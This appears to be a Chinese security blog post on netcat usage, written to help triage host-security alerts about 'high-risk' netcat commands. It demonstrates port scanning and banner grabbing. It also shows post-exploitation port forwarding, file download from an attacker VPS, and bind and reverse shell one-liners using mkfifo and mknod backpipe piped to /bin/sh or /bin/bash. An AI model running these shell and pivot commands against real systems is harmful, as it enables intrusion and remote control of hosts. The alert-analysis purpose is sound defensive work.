一、起因
(一)告警信息
某主机安全系统,多次检测到与netcat相关的所谓高危命令,如:
nc -zv 内网IP1 端口1
nc -nzv 内网IP2 端口2
nv -6l 8888
(二)问题的提出
-
netcat有哪些用法?
-
检测到的netcat命令是否恶意行为?
下面,我们对netcat命令进行研究,之后再回答以上问题。
二、了解netcat命令
(一)查看netcat的帮助信息
以kali linux系统中的nc.traditional为例,说明netcat使用的参数和选项
用法:
连接到某处:nc [-options] hostname port
监听入站连接:nc -l -p port [-options] [hostname] [port]
选项:
-c //执行shell命令,类似于`-e'。执行/bin/sh(危险)
-e filename //连接后要执行的程序(危险)
-b //允许广播
-g gateway //源路由越点,最多指定8个
-G num //源路由指针:4, 8, 12, ...
-h //查看帮助
-i secs //扫描端口的时间间隔
-k //为socket设置keepalive选项
-l //监听模式,接收入站连接
-n //不做dns解析
-o file //以十六进制形式显示流量
-p port //指定本地端口
-r //使用随机的本地和远程端口
-q secs //延迟指定秒数后退出
-s addr //本地源地址
-T tos //指定服务类型TOS
-t //以TELNET的形式应答入站请求
-u //UDP模式
-v //详细输出,使用-vv获取更详细的输出
-w secs //指定连接超时时间
-C //在行尾发送CRLF
-z //zero-I/O模式,用于端口扫描
端口扫描时可执行单个或者范围:低-高(包含边界)
(二)netcat命令的用法
1、 测试目标端口连通性
使用netcat测试目标主机端口的连通性,主要用于排查网络故障。
//测试远程主机的443端口的连通性
nc -zv 192.168.242.149 22
//测试TCP 1-1024范围端口的连通性
nc -zv 192.168.242.149 1-1024 2>&1 | grep succeeded
2、 获取应用程序banner
在信息收集过程中,可通过netcat获取目标服务banner,从而定位相关漏洞。
//netcat连接目标主机的服务端口
nc -vv smtp.163.com 25
3、 端口转发
在后渗透阶段,在已经被攻破的边界主机上,通过netcat将流量转发到内网从而进行攻击。
//边界主机使用nc将访问本机8000端口的流量转发到内网192.168.242.110的3389端口
nc -l -p 8000 -c "nc 192.168.242.110 3389"
//攻击者访问netcat主机的8000端口,即可访问到内网192.168.242.110的远程桌面
192.168.159.57:8000
成功访问到内网主机的远程桌面服务端口。
4、 信息传输
服务端使用netcat监听指定端口,客户端连接该端口,则双方之间可以传递信息:
//服务器(192.168.242.149)监听TCP 1000端口
nc -l -p 1000
//客户端连接服务器的1000端口
nc 192.168.242.149 1000
双方任何一端发出的信息对方都能收到:
//客户端将本地进程列表发送给服务端
ps aux | nc 192.168.242.149 1000
服务端接收到的信息:
5、 文件传输
在后渗透阶段,通过netcat将攻击程序从VPS下载到被攻击服务器。
//攻击者在VPS(192.168.43.237)上创建测试文件并运行netcat监听端口
echo "get by netcat." > netcat.sent
nc -l -p 12345 < netcat.sent
//被攻击主机使用netcat下载文件
nc 192.168.43.237 12345 > netcat.get
文件传输成功。
6、 正向shell
(1) 目标主机的nc支持“-e”选项
//目标主机(192.168.242.149)监听本地端口并在连接后提供shell
nc -l -p 5555 -e
//攻击者连接到目标主机并获取shell
nc 192.168.242.149 5555
(2) 目标主机的nc不支持“-e”选项
//目标主机(192.168.242.146)监听本地1234端口
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -l 192.168.242.146 1234 > /tmp/f
//攻击者连接到目标主机
nc 192.168.242.146 1234
连接成功,得到了shell。
7、 反向shell
(1) ipv4反弹shell
//攻击者监听本地(192.168.242.1)的5554端口
nc -l 192.168.242.1 5554
//被攻击主机(192.168.242.146)执行反弹连接
mknod backpipe p && nc 192.168.242.1 5554 0<backpipe | /bin/bash 1>backpipe
//攻击者得到反弹shell
(2) ipv6反弹shell
//攻击者监听本地IPv6地址的8888端口
nc -6l 8888
//被攻击主机(192.168.242.146)执行反弹连接
mknod backpipe p && nc fe80::250:56ff:fec0:8 8888 0<backpipe | /bin/bash 1>backpipe
//攻击者得到反弹shell
三、netcat作为高危命令的研判
通过对netcat命令的简单了解,再看告警中的netcat命令:
nc -zv 内网IP1 端口1
该命令用于探测内网IP1是否开放了端口1
nc -nzv 内网IP2 端口2
该命令用于探测内网IP2是否开放了端口2,并要求不对IP2进行反向dns解析
nv -6l 8888
这条命令的作用是监听本机IPv6地址的8888端口。该命令的执行比较可疑,有可能是在进行信息传输,也有可能是在等待失陷主机的反弹连接从而获取反弹shell。此时应联系系统管理员到主机上进行排查。
原文始发于微信公众号(新蜂网络安全实验室):netcat与高危命令告警研判
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论